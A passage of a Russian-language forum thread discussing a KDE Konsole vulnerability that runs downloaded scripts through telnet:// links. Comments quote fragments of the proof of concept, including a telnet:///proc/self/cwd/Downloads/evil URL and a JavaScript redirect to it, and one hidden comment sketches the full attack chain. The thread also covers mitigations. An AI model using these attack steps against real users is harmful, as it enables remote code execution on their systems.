72. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (72), 16-Июн-25, 14:23

> не слишком окаменелой версии
тот дебиян еще не слишком релизнулся
> опять в дурных "привычках" виноваты другие?
ну таки на сайте раста так первым же делом написано, а они небезопасного не посоветуют и не сделают

Ответить | Правка | Наверх | Cообщить модератору

115. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (64), 17-Июн-25, 11:02

>> не слишком окаменелой версии
> тот дебиян еще не слишком релизнулся
И кто ж виноват, что дебиановцы такие слоупоки?
>> опять в дурных "привычках" виноваты другие?
> ну таки на сайте раста так первым же делом написано, а они небезопасного не посоветуют и не сделают
Э-э ... и что они должны там предлагать, если юзер, вместо скачивания из штатной репы, пришел туда? Готовый deb/rpm/еще пяток форматов, потому что готовый деб из "левой" репы 100500 секурнее? Или вызваться мейнтенить пяток реп самых популярных дистров?
Спецом для таких там, кстати, написано:

That page describes installation via rustup, a tool that manages multiple Rust toolchains in a consistent way across all platforms Rust supports. Why might one not want to install using those instructions?
    Offline installation. rustup downloads components from the internet on demand. If you need to install Rust without access to the internet, rustup is not suitable.
    Preference for the system package manager. On Linux in particular, but also on macOS with Homebrew, MacPorts or pkgsrc, and Windows with Chocolatey or Scoop, developers sometimes prefer to install Rust with their platform’s package manager.
    Preference against curl | sh. On Unix, we usually install rustup by running a shell script via curl. Some have concerns about the security of this arrangement and would prefer to download and run the installer themselves.
    Validating signatures. Although rustup performs its downloads over HTTPS, the only way to verify the signatures of Rust installers today is to do so manually with the standalone installers.

Ответить | Правка | Наверх | Cообщить модератору

88. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (55), 16-Июн-25, 21:00

Оно есть только в нерелизнувшемся trixie. В стабильных релизах - нет.

Ответить | Правка | К родителю #64 | Наверх | Cообщить модератору

91. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (89), 16-Июн-25, 21:12

И ты сейчас нам конечно же расскажешь, почему это плохо и опасно, а sudo apt install -y blah-blah-blah — хорошо и безопасно, да?

Ответить | Правка | К родителю #35 | Наверх | Cообщить модератору

94. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от bdrbt (ok), 16-Июн-25, 21:23

С чексуммами, патчами и конкретной версией, против стягивания хер пойми чего и откуда из интернетов с безоглядным запуском в шелл.

Ответить | Правка | Наверх | Cообщить модератору

110. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (55), 17-Июн-25, 10:36

Я рекомендую всё же выходить из криокамеры, для того, чтобы иметь хотя бы какое-то представление о реальности. Заходим, например, на https://code.visualstudio.com/docs/setup/linux#_install-vs-c...
И там нас встречает sudo apt install ./<file>.deb
Никакими ни контрольными суммами, ни версиями, ничем даже и не пахнет. Это уже потом, после установки, деб пакет пропишет нормальный репозиторий, а сейчас, он ничем принципиально не отличается от curl | sh.

Ответить | Правка | Наверх | Cообщить модератору

112. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от bdrbt (ok), 17-Июн-25, 10:43

Ты хоть распакуй его, да посмотри.

Ответить | Правка | Наверх | Cообщить модератору

95. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от bdrbt (ok), 16-Июн-25, 21:25

> И ты сейчас нам конечно же расскажешь, почему это плохо и опасно, а sudo apt install -y blah-blah-blah — хорошо и безопасно, да?
Если тебе об этом надо говорить - тебе бесполезно об этом говорить.

Ответить | Правка | К родителю #91 | Наверх | Cообщить модератору

37. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (37), 16-Июн-25, 07:02

У меня вопросы к автору подобных статей. По какой причине в ссылках вот в этом предложении:
"Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD."
по ссылкам на Fedora, Arch и FreeBSD какая-то муть?! Если с Debian, Ubuntu и остальными всё понятно, там хоть по теме ссылки порой прямые на статус работы с уязвимостью, то в той же Fedora общая ссылка ведущая на портянку списка обновлений и ещё поищи там конкретное сообщение по теме и не факт что найдёшь?! И такое безалаберное отношение к оформлению подобной новости я вижу не в первый раз. Вы хотя бы проверяете ссылки, которые предоставляете в тексте своей новости? По Fedora такая картина уже довольно давно, просто будто вы занимаетесь бездумной копипастой таких новостей с зарубежных сайтов не удосужевшись проверить что по ссылкам, вот зачем так делать?
По Арчу, не лучше картина кстати, там просто ссылка на пакет, никакого статус работы над уязвимостью в той ссылке нет, от слова СОВСЕМ!
Доколе такое безобразие будет продолжаться?!!11

Ответить | Правка | Наверх | Cообщить модератору

47. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Maxim Chirkov (ok), 16-Июн-25, 09:55

В Fedora нет трекера исправления уязвимостей по CVE-идентификатору. Есть общий багтрекер со своими внутренними идентификаторами, но бывает в момент написания новости записей там ещё нет, поэтому для Fedora оптимальней давать ссылку на список для отслеживания появления новой версии пакета. В тексте новости до перечисления дистрибутивов всегда указывается в какую версию добавлено исправление.  В случае рассматриваемой уязвимости, в момент раскрытия информации о наличии уязвимости в Fedora уже был пакет konsole-25.04.2 и в багтрекере для него была только запись о новой сборке без упоминания исправления уязвимости - https://koji.fedoraproject.org/koji/buildinfo?buildID=2727830
В Arch Linux трекер по CVE есть, но записи об уязвимостях там часто появляются с опозданием, уже после выпуска новой версии программы в пакете. Поэтому может сложиться впечатление, что уязвимость ещё не устранена, хотя она уже исправлена.

Во FreeBSD информация в портах обновляется с запозданием и самое оптимальное отслеживать исправления через https://www.vuxml.org/freebsd/
Это лучше, чем просто писать, что на момент написания новости уязвимость ещё не исправлена  и, соответстенно, конкректную ссылку дать невозможно.

Ответить | Правка | Наверх | Cообщить модератору

52. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (64), 16-Июн-25, 10:38

> Во FreeBSD информация в портах обновляется с запозданием и самое оптимальное отслеживать
> исправления через https://www.vuxml.org/freebsd/
Учитывая, что для фри придется сначала пропатчить КДЕ^W procfs (вместо /proc/self там /proc/curproc, а /proc/*/cwd нет от слова совсем), то отслеживать можно будет долго ...

Ответить | Правка | Наверх | Cообщить модератору

63. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (55), 16-Июн-25, 12:54

>вместо /proc/self там /proc/curproc
Фряха защищённее линукска на время произнесения фразы "ух ты, фряха!".
>а /proc/*/cwd нет от слова совсем
А что там есть?

Ответить | Правка | Наверх | Cообщить модератору

65. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (64), 16-Июн-25, 13:20

>>вместо /proc/self там /proc/curproc
> Фряха защищённее линукска на время произнесения фразы "ух ты, фряха!".
Конкретна эта уязвимость -- не затрагивает фрю не только "на время произнесения". Причем, вне зависимости от причин твоего припекания ...
>>а /proc/*/cwd нет от слова совсем
> А что там есть?
https://man.freebsd.org/cgi/man.cgi?query=procfs

Ответить | Правка | Наверх | Cообщить модератору

82. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Ананимаз (?), 16-Июн-25, 18:37

эта прокфс еще и не смонтирована по-умолчанию
впрочем проблемы в целом это не отменяет

Ответить | Правка | Наверх | Cообщить модератору

120. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (120), 17-Июн-25, 23:12

процфс тут нужна, только? чтобы не гадать путь до хомяка. Если мы по каким либо причинам знаем логин юзера (или предполагаем его) то /home/$USER/Downloads/ даст 90% попадание, что в линуксе, что во фре. процфс конечно надёжнее. но при отсутствии гербовой можно писать и на обычной бумаге. тем более что никто же не запрещает сделать N или даже M попыток. В этом плане раньше в винде было хорошо, ни один иностранный хацкер не выговорит "Загрузки" ;) Но теперь там c:\users\$USER\Downloads во всех языках.

Ответить | Правка | К родителю #65 | Наверх | Cообщить модератору

68. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (37), 16-Июн-25, 13:54

> В Fedora нет трекера исправления уязвимостей по CVE-идентификатору. Есть общий багтрекер
> со своими внутренними идентификаторами, но бывает в момент написания новости записей
> там ещё нет, поэтому для Fedora оптимальней давать ссылку на список
> для отслеживания появления новой версии пакета. В тексте новости до перечисления
> дистрибутивов всегда указывается в какую версию добавлено исправление.  В случае
> рассматриваемой уязвимости, в момент раскрытия информации о наличии уязвимости в Fedora
> уже был пакет konsole-25.04.2 и в багтрекере для него была только
> запись о новой сборке без упоминания исправления уязвимости - https://koji.fedoraproject.org/koji/buildinfo?buildID=2727830
Спасибо за разъяснения! Но всё же, почему не дать пояснение в новости, что вот ссылка на пакет Fedora в котором уже уязвимость устранена? Если ещё не устранена, то давать прямую ссылку на уязвимую версию, это на мой взгляд лучше, чем просто посылать на общую страницу.
Вот хотя бы даже и эту вашу ссылку можно было оставить с пояснениями, которые вы дали.
> В Arch Linux трекер по CVE есть, но записи об уязвимостях там
> часто появляются с опозданием, уже после выпуска новой версии программы в
> пакете. Поэтому может сложиться впечатление, что уязвимость ещё не устранена, хотя
> она уже исправлена.
Так всё правильно, CVE текер есть, но ссылка зачем-то на пакет, вопрос зачем, чтобы что-то запостить? Можно было опять же сделать такую ссылку отдельно от того предложения с пояснением ситуации.
Понимаете ли, вопрос не в том, насколько актуальна информация в новости на данный момент в каком-то дистрибутиве, вопрос в том, что автор статьи вводит в заблуждение фразой: "Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD.", а часть ссылок при этом не относится к утверждению проследить за устраниениея уязвимости в дистрибутивах можно на слудущих страницах, от слова НИКАК, т.е. ожидание и реальность расходятся. Запросто можно было не вводить в заблуждение, а оставить только те ссылки в предложении, которые явно видут на информацию о статусе работы с уязвимыми пакетами, а остальные ссылки привести в более приближённом виде отдельно, с пояснениями почему они в таком виде, а не сгружать в кучу с остальными добротными ссылками, которые по факту и указывают на то, о чём утверждается в предложении.
> Во FreeBSD информация в портах обновляется с запозданием и самое оптимальное отслеживать
> исправления через https://www.vuxml.org/freebsd/
> Это лучше, чем просто писать, что на момент написания новости уязвимость ещё
> не исправлена  и, соответстенно, конкректную ссылку дать невозможно.
Нет, я считаю, что не лучше, потому что в таком виде: "Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD." - это просто введение в заблуждение, т.к. по ссылкам не то что заявлено в предложении.
Это как если бы вы пошли в магазин, купили там пакет набора конфет ассорти в непрозрачной коробке, понадеялись на описание, что там конфеты от 6ти разных фабрик, шоколадные все с разной начинкой. А в итоге открыли, а там три вида конфет нормальные, как заявлено, а три остальные какая с другой начинкой, а какая вообще пустая оболочка, потому что формирующий пакет упаковщик не положил их, т.к. поставщик не успел, но на упаковке написано, что вот в ней лежат шесть разных шоколадных конфет от шести разных фабрик с разными вкусными начинками. Надеюсь аналогия понятна?! ))

Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

70. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Maxim Chirkov (ok), 16-Июн-25, 14:16

> Спасибо за разъяснения! Но всё же, почему не дать пояснение в новости, что вот ссылка на пакет Fedora в котором уже уязвимость устранена?
Ok, по возможности буду ставить ссылку на багтрекер или сам пакет, если в трекере информация ещё не заведена.
> Если ещё не устранена, то давать прямую ссылку на уязвимую версию
В этом случае разработчики могут через 5 минут выпустить обновление, а в новости будет про то, что уязвимость ещё не исправлена. Информация меняется очень бысто, на момент написания новости одна ситуация, а на момент её прочтения посетителями может быть уже другой. Тогда уж ставить ссыку на состояние пакета и предлагать проверить версию. Но здесь тоже есть нюансы, по хорошему нужна информация с экспертизой от самого дистрибутива, так как по номеру версии уязвимость может казаться  что есть, а по факту в пакете может быть какой-то свой патч, изменение или особые настройки, при которых уязвимость не проявляется.

> Так всё правильно, CVE текер есть, но ссылка зачем-то на пакет, вопрос зачем, чтобы что-то запостить?
В Arch стал ставить ссылки на пакет по просбе посетителей, так как CVE-страница бывает не отражает фактическое состояние, то по номеру версии проще понять, вышло обновление или нет.

> Нет, я считаю, что не лучше, потому что в таком виде: "Проследить за устранением
> уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD." -
> это просто введение в заблуждение, т.к. по ссылкам не то что заявлено в предложении.
Ну почему же, проверить номер версии в пакете, зная в какой версии уязвимость устранена, вполне себе "Проследить за устранением уязвимости". Могу заменить на "Проверить состояние версии или подготовки исправления..." для большей точности.

Ответить | Правка | Наверх | Cообщить модератору

98. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (37), 16-Июн-25, 21:49

>[оверквотинг удален]
>> Если ещё не устранена, то давать прямую ссылку на уязвимую версию
> В этом случае разработчики могут через 5 минут выпустить обновление, а в
> новости будет про то, что уязвимость ещё не исправлена. Информация меняется
> очень бысто, на момент написания новости одна ситуация, а на момент
> её прочтения посетителями может быть уже другой. Тогда уж ставить ссыку
> на состояние пакета и предлагать проверить версию. Но здесь тоже есть
> нюансы, по хорошему нужна информация с экспертизой от самого дистрибутива, так
> как по номеру версии уязвимость может казаться  что есть, а
> по факту в пакете может быть какой-то свой патч, изменение или
> особые настройки, при которых уязвимость не проявляется.
Да, а ещё новость могут прочитать через неделю или через месяц ;)

>> Так всё правильно, CVE текер есть, но ссылка зачем-то на пакет, вопрос зачем, чтобы что-то запостить?
> В Arch стал ставить ссылки на пакет по просбе посетителей, так как
> CVE-страница бывает не отражает фактическое состояние, то по номеру версии проще
> понять, вышло обновление или нет.
Ну, это уже бардак Арча, автору новостей не предлагается чинить этот бардак, предлагалось просто не засовывать сомнительных ссылок в такое однозначно сформулированное предложение ;)
>> Нет, я считаю, что не лучше, потому что в таком виде: "Проследить за устранением
>> уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD." -
>> это просто введение в заблуждение, т.к. по ссылкам не то что заявлено в предложении.
> Ну почему же, проверить номер версии в пакете, зная в какой версии
> уязвимость устранена, вполне себе "Проследить за устранением уязвимости". Могу заменить
> на "Проверить состояние версии или подготовки исправления..." для большей точности.
Можно, но тогда получается самостоятельный какой-то свой ресёрч какой-то уже и это не одно и то же что сформулированно в предложении новости, будто сходи по ссылке и увидишь что как, что отчасти так и есть, т.к. те же Debian, Ubuntu и прочие, имеют явные страницы и они там по делу, а вот Fedora и Arch лучше бы просто вынести за скобки того предложения, как тех, кто практикует отсутствие порядка и полагается на творческий беспорядок.
Автору не предлагается решать проблемы этих дистров по оформлению информации по CVE, предложение касается того, что по ссылке на Fedora, Arch и прочие "отлынивающие" не должны стоять в том предложении в одном ряду с Debian, Ubuntu и остальными, с ссылками которых всё в порядке и они соответствуют заявленному. Оформлять можно хоть разными предложениями и в разных абзацах, даже с упоминанием, что вот эти редиски не оформляют инфомацию по CVE как вот эти сознательные граждане, поэтому если кому интересно, то можете поиграться с ними в прятки на их ресурсах, авось повезёт! xD

Ответить | Правка | Наверх | Cообщить модератору

105. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от oficsu (ok), 16-Июн-25, 23:47

Может, у этих дистрибутивов нет трекеров CVE и единственный способ отслеживать исправления — смотреть список изменений конкретных пакетов?
> По Арчу, не лучше картина кстати, там просто ссылка на пакет, никакого статус работы над уязвимостью в той ссылке нет
По той ссылке есть кнопочка "View Changes", откуда и можно узнать о факте исправления

Ответить | Правка | К родителю #37 | Наверх | Cообщить модератору

38. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (38), 16-Июн-25, 08:19

Вот вам все прелести Яваскрипта. Вы рады?

Ответить | Правка | Наверх | Cообщить модератору

41. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от MikhailFF (ok), 16-Июн-25, 08:40

90-е закончились, яваскрипт победил. А ты все держишь оборону ?

Ответить | Правка | Наверх | Cообщить модератору

43. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноникл (?), 16-Июн-25, 08:42

облепленный сзади питонами

Ответить | Правка | Наверх | Cообщить модератору

48. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –3 +/–

Сообщение от Аноним (48), 16-Июн-25, 10:00

>А ты все держишь оборону ?
Да. И очень эффективно с помощью NoScript, uMatrix, etc.

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

76. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (-), 16-Июн-25, 16:48

Может ему VB скрипт больше нравится))

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

57. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от Аноним (55), 16-Июн-25, 10:56

При чём тут яваскрипт? Какое отношение консоль имеет к браузеру?

Ответить | Правка | К родителю #38 | Наверх | Cообщить модератору

39. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от maximnik0 (?), 16-Июн-25, 08:22

Очень похоже на бэкдор.Т.к такая же уязвимость ещё 10 лет назад всплывала,так же устраняли .Неужели все комментарии с патчами потеряли и опять на те же грабли наступили- очень сомнительно.

Ответить | Правка | Наверх | Cообщить модератору

114. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от BeLord (ok), 17-Июн-25, 10:59

Вполне возможно, терять информацию это тренд современности-)

Ответить | Правка | Наверх | Cообщить модератору

42. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноникл (?), 16-Июн-25, 08:40

попробовал в фаерфоксе - вылез диалог сохранения файла. если нажать save то сохранится файл evil. Версия Konsole 25.04.2

Ответить | Правка | Наверх | Cообщить модератору

51. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (4), 16-Июн-25, 10:22

Верните в настройках опцию "Always ask you where to save files" в значение по умолчанию и перестанет спрашивать.

Ответить | Правка | Наверх | Cообщить модератору

69. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (37), 16-Июн-25, 14:00

> попробовал в фаерфоксе - вылез диалог сохранения файла. если нажать save то
> сохранится файл evil. Версия Konsole 25.04.2
Так там же в статье явно написано, что "Эксплуатации уязвимостей сопутствует то, что в конфигурации по умолчанию современные версии Firefox и Chrome автоматически сохраняют инициированные для загрузки файлы" т.е. русским по бежевому написано, что в КОНФИГУРАЦИИ ПО УМОЛЧАНИЮ, а по умолчанию они не спрашивают. Если у вас какие-то свои настройки, то вы - молодец и хороший мальчик, гордитесь собой, возьмите с полки пирожок!.. Хотя нет, не молодец, т.к. с внимательностью у вас беда, так что верните пирожок обратно!

Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

44. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (44), 16-Июн-25, 09:17

Этот бэкдор в какой версии появился? Кто автор комита?

Ответить | Правка | Наверх | Cообщить модератору

50. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (50), 16-Июн-25, 10:22

Не удивлюсь, если эта уязвимость каждый мажорный релиз появляется и чинится, а то и не раз.

Ответить | Правка | Наверх | Cообщить модератору

87. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (55), 16-Июн-25, 20:58

git blame изобретён

Ответить | Правка | К родителю #44 | Наверх | Cообщить модератору

45. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от name (??), 16-Июн-25, 09:28

Это какой-то позор, господа. Баги уровня 80ых в 2025. Трудно поверить.

Ответить | Правка | Наверх | Cообщить модератору

73. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (73), 16-Июн-25, 14:49

Просто кодеры не понимаю что все остальные не обязательно занимаются Компьютерами.
Когда они это поймут они будут делать для людей.

Ответить | Правка | Наверх | Cообщить модератору

93. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (89), 16-Июн-25, 21:16

> Когда они это поймут они будут делать для людей.
Не поймут никогда. Пока менеджер не объяснит. Таков путь.

Ответить | Правка | Наверх | Cообщить модератору

49. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –2 +/–

Сообщение от Аноним (49), 16-Июн-25, 10:14

КДЕ-шные мудрённые поделки, например в LXTerminal такая шляпа невозможна by design.

Ответить | Правка | Наверх | Cообщить модератору

56. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от гг (?), 16-Июн-25, 10:48

Да, а еще в command.com

Ответить | Правка | Наверх | Cообщить модератору

74. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (73), 16-Июн-25, 14:50

> КДЕ-шные мудрённые поделки, например в LXTerminal такая шляпа невозможна by design.
Чем более это сложное, тем прощще это ломается.
Тем больше там ошибок. Глюков.

Ответить | Правка | К родителю #49 | Наверх | Cообщить модератору

80. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Афроним (?), 16-Июн-25, 17:59

Терминал Лхде проще чем кедовая консолька?

Ответить | Правка | Наверх | Cообщить модератору

85. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от Аноним (85), 16-Июн-25, 19:52

Конечно проще.

Ответить | Правка | Наверх | Cообщить модератору

109. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (73), 17-Июн-25, 10:34

Наверное прощще, примерно как xfce прощще Kde, или как Lxqt, lxde, прощще Kde.
Думаю так.
Или как просмотрщик изображений прощще фотошоп.

Ответить | Правка | К родителю #80 | Наверх | Cообщить модератору

107. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (99), 17-Июн-25, 08:19

Да там ещё много чего невозможно: и то невозможно, и это невозможно.

Ответить | Правка | К родителю #49 | Наверх | Cообщить модератору

61. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (61), 16-Июн-25, 12:09

Я не специалист по телнет и ssh. Но нет ли случайно такой возможности, чтобы сформировать команду, мол подключайся к локалхосту без авторизации и запускай эти команды?

Ответить | Правка | Наверх | Cообщить модератору

67. Скрыто модератором –1 +/–

Сообщение от Аноним (67), 16-Июн-25, 13:51

**Konsole ловит полный шмон: базар про слив через телнет**
Терминал Konsole от KDE **подставился по полной** – вылезла дыра (CVE-2025-49091), которая **позволяет ломать систему через браузер.** Если ты открываешь зловредную страницу – **тебе на комп могут накатить произвольный код.**
**Суть развода:**
1. В Konsole по дефолту **висит сервис KTelnetService**, который ловит ссылки типа `telnet://`, `rlogin://`, `ssh://`.
2. Если в системе **нет утилит** (telnet/rlogin/ssh), Konsole вместо них **запускает баш!**
3. **Подмена капец:** Открыл в браузере `telnet:///proc/self/cwd/Downloads/evil` → Konsole **вмазывает `/bin/bash /.../evil`** (и твой скрипт-вирус понеслась!).
**Почему это огонь для хакеров?**
- **Браузеры (Chrome/Firefox)** автоматом качают файлы в `~/Downloads` **без спроса!**
- Путь `/proc/self/cwd/Downloads/` – **это прямая дорога к твоим загрузкам.** Даже если юзер не знает имя папки!
**Пример атаки:**
Хакер впаривает тебе JS-код, который:
- **Качает зловред "evil"** в твои загрузки (через data:base64)
- **Дергает ссылку `telnet://.../evil`** → Konsole **хуярит баш с этим скриптом!**
Результат: на твоем компе **выполнится любая хрень** (хоть `rm -rf /`, хоть майнер запустит).
**Фейспалм детектед:**
- В **Firefox** хоть спрашивает разрешения (но лохи жмут "ОК"),
- В **Chrome** вообще тихий ужас – сам дописывает `.txt` к файлам (но если переименовать в "evil.txt" – тоже полетит).
**Как не словить пиз*ец?**
1. **Апдейт до Konsole 25.04.2** – там дыру залатали.
2. **Поставить telnet/rlogin/ssh** – тогда Konsole не будет запускать баш.
3. **Вырубить авто-загрузку в браузере:**
   - Firefox: `Настройки › Общие › Файлы` → **"Всегда спрашивать"**
   - Chrome: адресная строка → `chrome://settings/downloads` → **"Спрашивать место сохранения"**
**Дистрибы, где уже фиксили:**
Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD – **следи за апдейтами!**
**Короче:**
**Konsole подставил базар** – если не обновился, **тебя могут развести как лоха.** Хакеры через браузер и телнет-ссылку **запустят твой же скачанный вирус.** Не тупи – **залатай систему или поставь телнет**, пока не накрыло медным тазом.

Ответить | Правка | Наверх | Cообщить модератору

77. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от myster (ok), 16-Июн-25, 17:15

Это уязвимость в веб-браузере тоже.
Вместо вопроса: "Allow this site to open the telnet link with KTelnetService?"
Веб-браузеры должны явно отображать команду, которую запускают: "Запускаю /usr/bin/konsole --noclose -e telnet /proc/self/cwd/Downloads/evil, вы согласны?"

Ответить | Правка | Наверх | Cообщить модератору

86. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –2 +/–

Сообщение от Аноним (55), 16-Июн-25, 20:56

Ещё один воен с браузерами.
>Запускаю /usr/bin/konsole --noclose -e telnet /proc/self/cwd/Downloads/evil, вы согласны?
Вам же в новости сказано, что команду запускает konsole а не браузер. Браузер лишь передаёт аргумент konsole, и ему совершенно не известно, как этот konsole этот код перекрутит. И будет там что-то вроде
konsole 'telnet:///proc/self/cwd/Downloads/evil'
Откуда браузеру знать, во что раскроется эта команда?

Ответить | Правка | Наверх | Cообщить модератору

102. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (102), 16-Июн-25, 22:10

т.е. мочить надо бинарник konsole...

Ответить | Правка | Наверх | Cообщить модератору

103. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от myster (ok), 16-Июн-25, 22:38

> Браузер лишь передаёт аргумент konsole, и ему совершенно не известно
> ...
> Откуда браузеру знать, во что раскроется эта команда?
Ты реально думаешь, что браузер живой? надеюсь не под веществами пишешь.
Ты сам ответил себе же:
> И будет там что-то вроде
> konsole 'telnet:///proc/self/cwd/Downloads/evil'
это и есть мой посыл, вместо сообщения "Я сейчас открою неведомую шнягу, хотите?", браузеры должны писать "Я сейчас передам вот такие параметры командной строки ... хотите?".

Ответить | Правка | К родителю #86 | Наверх | Cообщить модератору

111. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (55), 17-Июн-25, 10:43

>это и есть мой посыл
Какой посыл? Проблема не в открытии сторонних программ, проблема в обработке этими программами своих аргументов.
>Я сейчас открою неведомую шнягу, хотите?
Konsole - неведомая программа?
>Ты реально думаешь, что браузер живой?
Даже неживой браузер должен вывести какую-то строку. Нет абсолютно никакого смысла задалбывать пользователя сообщениями. У них и так уже банерная слепота развивается.
>браузеры должны писать "Я сейчас передам вот такие параметры командной строки
А вы уверены, что konsole запускается напрямую браузером? Скорее всего, между браузером и konsole есть как минимум одна абстракция.

Ответить | Правка | Наверх | Cообщить модератору

119. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от myster (ok), 17-Июн-25, 18:20

не важно что там есть, читаем код, который приводит к сообщению "Allow this site to open the telnet link with KTelnetService?":
```
            setTimeout(() => {
                window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
            }, 1000);
```
так почему в сообщении браузер нам пишет отсебятину, когда должен писать про "proc/self/cwd/Downloads/evil". Это уязвимость, т.к. браузер пишет отсебятину.
В данном случае не важно, что в системе или в настройках браузера ассоциировано с telnet протоколом, браузер во всех случаях должен отображать явно то, что собирается запустить, а не то, что по мнениюю кого-то из разработчиков веб-браузера уместно. Эти разработчики неправы.

Ответить | Правка | Наверх | Cообщить модератору

83. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от Syndrome (ok), 16-Июн-25, 18:52

Сомнительную функцию можно отключить в файрфоксе через настройку
network.protocol-handler.external-default = false

Ответить | Правка | Наверх | Cообщить модератору

84. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (85), 16-Июн-25, 19:36

Ещё одно подтвержение того, что кедо поклонникам надо юзать дубовое и безбэкдорное LXQt, ведь там нет всяких свистопрделок, а значит и CVE меньше в десятки раз!

Ответить | Правка | Наверх | Cообщить модератору

100. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (99), 16-Июн-25, 21:53

А поклонники у вас советов просят?

Ответить | Правка | Наверх | Cообщить модератору

101. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от Аноним (102), 16-Июн-25, 22:08

совет поросят эти поклонники

Ответить | Правка | Наверх | Cообщить модератору

92. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от Аноним (92), 16-Июн-25, 21:13

touch /usr/local/bin/telnet
touch /usr/local/bin/rlogin

Ответить | Правка | Наверх | Cообщить модератору

96. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (99), 16-Июн-25, 21:42

"Always ask you where to save files" это одна из первых настроек, что я делаю в любом браузере.

Ответить | Правка | Наверх | Cообщить модератору

113. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

